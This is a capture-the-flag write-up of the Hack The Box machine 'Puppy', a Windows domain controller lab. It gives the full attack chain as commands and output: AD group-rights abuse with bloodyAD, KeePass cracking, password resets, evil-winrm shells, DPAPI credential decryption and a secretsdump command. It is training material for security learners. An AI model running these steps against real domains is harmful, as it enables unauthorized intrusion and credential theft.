Skip to main content
HTB: Puppy
  1. Posts/

HTB: Puppy

Table of Contents

Introduction
#

Puppy is an Active Directory box with assumed breach - set of initial credentials. The breached account is in the HR group with GenericWrite rights over Developers group. I can add the breached user to this group to get access to SMB share with KeePass database, crack it and get another user. He is in the Senior Developers group and had GenericAll rights over another user. I can reset that user’s password and get a WinRM session. From there I can access a site backup with saved password to next user. Finally I can use that user’s DPAPI access to get administrator credentials.

As is common in real life pentests, you will start the Puppy box with credentials for the following account: levi.james / KingofAkron2025!

Recon
#

nmap
#

nmap finds lots of TCP ports:

sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.232.75
  • -sC for defaults scripts
  • -sV enumerate version
  • -vv double verbose
  • -oA output in all formats
PORT     STATE SERVICE       REASON          VERSION
53/tcp   open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp   open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-11-25 17:02:16Z)
111/tcp  open  rpcbind       syn-ack ttl 127 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds? syn-ack ttl 127
464/tcp  open  kpasswd5?     syn-ack ttl 127
593/tcp  open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped    syn-ack ttl 127
2049/tcp open  nlockmgr      syn-ack ttl 127 1-4 (RPC #100021)
3260/tcp open  iscsi?        syn-ack ttl 127
3268/tcp open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped    syn-ack ttl 127
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 6h59m59s
| smb2-time: 
|   date: 2025-11-25T17:04:08
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 32931/tcp): CLEAN (Timeout)
|   Check 2 (port 11843/tcp): CLEAN (Timeout)
|   Check 3 (port 19274/udp): CLEAN (Timeout)
|   Check 4 (port 28111/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

The box is a Windows Domain Controller. The domain is puppy.htb with DC hostname.

I can generate host file:

└─$ netexec smb 10.129.232.75 --generate-hosts-file puppy.hosts 
SMB         10.129.232.75   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)                                                                                                                   

└─$ cat puppy.hosts 
10.129.232.75     DC.PUPPY.HTB PUPPY.HTB DC

and add it to /etc/hosts

Initial Credentials
#

The initial credentials work for both SMB and LDAP:

└─$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!'
SMB         10.129.232.75   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)        
SMB         10.129.232.75   445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025! 

└─$ netexec ldap puppy.htb -u levi.james -p 'KingofAkron2025!'
LDAP        10.129.232.75   389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
LDAP        10.129.232.75   389    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025! 

SMB - TCP 445
#

Looking at SMB there is non-standard share DEV (DEV-SHARE for PUPPY-DEVS)

└─$ smbclient -L //puppy.htb/ -U 'levi.james%KingofAkron2025!'            

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        DEV             Disk      DEV-SHARE for PUPPY-DEVS
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to puppy.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

At the moment I do not have access:

└─$ smbclient //puppy.htb/DEV -U 'levi.james%KingofAkron2025!' 
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \>

BloodHound
#

With SMB being dead end at the moment next best thing is BloodHound:

└─$ bloodhound-ce-python -c all -d PUPPY.HTB -u levi.james -p 'KingofAkron2025!' -ns 10.129.232.75 --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 00M 05S
INFO: Compressing output into 20251125074852_bloodhound.zip
BH1

Looking at my user, he is member of HR@PUPPY.HTB a group that has GenericWrite rights over the DEVELOPERS@PUPPY.HTB:

BH2

I can add my user to this group:

└─$ bloodyAD --host puppy.htb -d puppy.htb -u levi.james -p 'KingofAkron2025!' add groupMember DEVELOPERS 'levi.james'           
[+] levi.james added to DEVELOPERS

Keepass
#

With our fresh new Developer team member :) I can check the DEV share again:

└─$ smbclient //puppy.htb/DEV -U 'levi.james%KingofAkron2025!' 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Sun Mar 23 03:07:57 2025
  ..                                  D        0  Sat Mar  8 11:52:57 2025
  KeePassXC-2.7.9-Win64.msi           A 34394112  Sun Mar 23 03:09:12 2025
  Projects                            D        0  Sat Mar  8 11:53:36 2025
  recovery.kdbx                       A     2677  Tue Mar 11 22:25:46 2025

                5080575 blocks of size 4096. 1642320 blocks available
smb: \> get KeePassXC-2.7.9-Win64.msi
getting file \KeePassXC-2.7.9-Win64.msi of size 34394112 as KeePassXC-2.7.9-Win64.msi (1537.1 KiloBytes/sec) (average 1537.1 KiloBytes/sec)
smb: \> get recovery.kdbx
getting file \recovery.kdbx of size 2677 as recovery.kdbx (26.7 KiloBytes/sec) (average 1530.3 KiloBytes/sec)

There is recovery.kdbx file. I should be able to get master password from there.

But keepass2john is giving me error:

└─$ keepass2john recovery.kdbx > hash.txt
! recovery.kdbx : File version '40000' is currently not supported!

After Googling for a bit I learned that I can simply download and compile the John and it should work.

git clone https://github.com/openwall/john.git
cd john/src
./configure && make -s clean && make -sj$(nproc)

And it did:

└─$ ./john/run/keepass2john recovery.kdbx > hash.txt

Then to crack it:

└─$ ./john/run/john hash.txt --wordlist=~/Tools/rockyou.txt  
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [AES/Argon2 128/128 SSE2])
Cost 1 (t (rounds)) is 37 for all loaded hashes
Cost 2 (m) is 65536 for all loaded hashes
Cost 3 (p) is 4 for all loaded hashes
Cost 4 (KDF [0=Argon2d 2=Argon2id 3=AES]) is 0 for all loaded hashes
Will run 6 OpenMP threads
Note: Passwords longer than 41 [worst case UTF-8] to 124 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
Failed to use huge pages (not pre-allocated via sysctl? that's fine)
liverpool        (recovery)     
1g 0:00:00:16 DONE (2025-11-25 09:00) 0.05910g/s 2.128p/s 2.128c/s 2.128C/s friends..liverpool
Use the "--show" option to display all of the cracked passwords reliably
Session completed

And I have the password: liverpool

With that I can install the KeePassXC and look inside:

Keepass

Antman
#

I got several credentials:

  • ADAM SILVER > HJKL2025!
  • ANTONY C. EDWARDS > Antman2025!
  • JAMIE WILLIAMSON > JamieLove2025!
  • SAMUEL BLAKE > ILY2025!
  • STEVE TUCKER > Steve2025!

From all of them only ANTONY C. EDWARDS was useful (and working), he is member of SENIOR DEVS@PUPPY.HTB that has GenericAll over ADAM SILVER.

Password Change
#

I can change Adam’s password:

bloodyAD --host puppy.htb -d PUPPY.HTB -u ant.edwards -p 'Antman2025!' set password adam.silver 'Pwned2025!'

But when I tried to use it the account was disabled:

└─$ netexec smb puppy.htb -u adam.silver -p 'Pwned2025!'      
SMB         10.129.232.75   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)                                                                                                                   
SMB         10.129.232.75   445    DC               [-] PUPPY.HTB\adam.silver:Pwned2025! STATUS_ACCOUNT_DISABLED 

No worries, with the current rights I can enable it:

└─$ bloodyAD --host puppy.htb -d PUPPY.HTB -u ant.edwards -p 'Antman2025!' remove uac adam.silver -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl

└─$ netexec smb puppy.htb -u adam.silver -p 'Pwned2025!'                                                           
SMB         10.129.232.75   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)        
SMB         10.129.232.75   445    DC               [+] PUPPY.HTB\adam.silver:Pwned2025! 

Shell as Adam Silver
#

With the account enabled I can WinRM in and grab the user flag:

└─$ evil-winrm -i puppy.htb -u adam.silver -p 'Pwned2025!'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine                                                                                                
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
 
 .
 .
 
*Evil-WinRM* PS C:\Users\adam.silver\Desktop> dir


    Directory: C:\Users\adam.silver\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         2/28/2025  12:31 PM           2312 Microsoft Edge.lnk
-ar---        11/25/2025   9:00 AM             34 user.txt


*Evil-WinRM* PS C:\Users\adam.silver\Desktop> 

Next there is C:\Backups directory with site-backup zip file:

*Evil-WinRM* PS C:\Backups> dir


    Directory: C:\Backups


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          3/8/2025   8:22 AM        4639546 site-backup-2024-12-30.zip


*Evil-WinRM* PS C:\Backups> download site-backup-2024-12-30.zip
                                        
Info: Downloading C:\Backups\site-backup-2024-12-30.zip to site-backup-2024-12-30.zip
                                        
Info: Download successful!

Site Backup
#

The zip file contains a backup of a website that is not accessible on the box and contains config file:

└─$ cat nms-auth-config.xml.bak 
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
    <server>
        <host>DC.PUPPY.HTB</host>
        <port>389</port>
        <base-dn>dc=PUPPY,dc=HTB</base-dn>
        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
        <bind-password>ChefSteph2025!</bind-password>
    </server>
    <user-attributes>
        <attribute name="username" ldap-attribute="uid" />
        <attribute name="firstName" ldap-attribute="givenName" />
        <attribute name="lastName" ldap-attribute="sn" />
        <attribute name="email" ldap-attribute="mail" />
    </user-attributes>
    <group-attributes>
        <attribute name="groupName" ldap-attribute="cn" />
        <attribute name="groupMember" ldap-attribute="member" />
    </group-attributes>
    <search-filter>
        <filter>(&(objectClass=person)(uid=%s))</filter>
    </search-filter>
</ldap-config>

There are credentials steph.cooper:ChefSteph2025!

└─$ netexec smb puppy.htb -u steph.cooper -p 'ChefSteph2025!'
SMB         10.129.232.75   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)                                                                                                                   
SMB         10.129.232.75   445    DC               [+] PUPPY.HTB\steph.cooper:ChefSteph2025! 

They also work on WinRM:

evil-winrm -i puppy.htb -u steph.cooper -p 'ChefSteph2025!'                                                    
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine                                                                                                                                 
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\steph.cooper\Documents>

Shell as steph.cooper_adm
#

I got stuck there and had to run WinPEAS here failure

Steph.Cooper has a credential stored in the Windows Credential Manager:

*Evil-WinRM* PS C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials> ls -force

    Directory: C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          3/8/2025   7:54 AM            414 C8D69EBE9A43E9DEBF6B5FBD48B521B9

And there is a master key right next to it:

*Evil-WinRM* PS C:\Users\steph.cooper\appdata\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107> ls -force

    Directory: C:\Users\steph.cooper\appdata\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          3/8/2025   7:40 AM            740 556a2412-1275-4ccf-b721-e6a0b4f90407
-a-hs-         2/23/2025   2:36 PM             24 Preferred

DPAPI
#

For more info: HERE

Encrypted user RSA keys, by using DPAPI, are stored in the %APPDATA%\Microsoft\Protect{SID} directory, where {SID} represents the user’s Security Identifier. The DPAPI key, co-located with the master key that safeguards the user’s private keys in the same file

WinRM has tough time downloading hidden files, but I can copy, unhide and download them from another directory:

*Evil-WinRM* PS C:\programdata> copy \Users\steph.cooper\appdata\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 masterkey
*Evil-WinRM* PS C:\programdata> copy \Users\steph.cooper\appdata\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 creds
*Evil-WinRM* PS C:\programdata> gci -force
*Evil-WinRM* PS C:\programdata> attrib -s -h masterkey
*Evil-WinRM* PS C:\programdata> attrib -s -h creds
*Evil-WinRM* PS C:\programdata> download masterkey
*Evil-WinRM* PS C:\programdata> download creds

Now I can decrypt the master key using dpapi:

└─$ dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'ChefSteph2025!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags       :        0 (0)
Policy      : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

and with this key I can decrypt the credentials:

└─$ dpapi.py credential -file creds -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=PUPPY.HTB
Description : 
Unknown     : 
Username    : steph.cooper_adm
Unknown     : FivethChipOnItsWay2025!

WinRM
#

Now I can WinRM back in as steph.cooper_adm:

evil-winrm -i puppy.htb -u steph.cooper_adm -p 'FivethChipOnItsWay2025!'

Who is member of Administrators

BH4

So I can just grab the root flag.

Alternatively I could use secretsdump and dump the whole domain to get Administrator hash and use that to log in, but the access it the same for flag purposes.

└─$ secretsdump.py 'staph.cooper_adm:FivethChipOnItsWay2025!@puppy.htb'
Author
~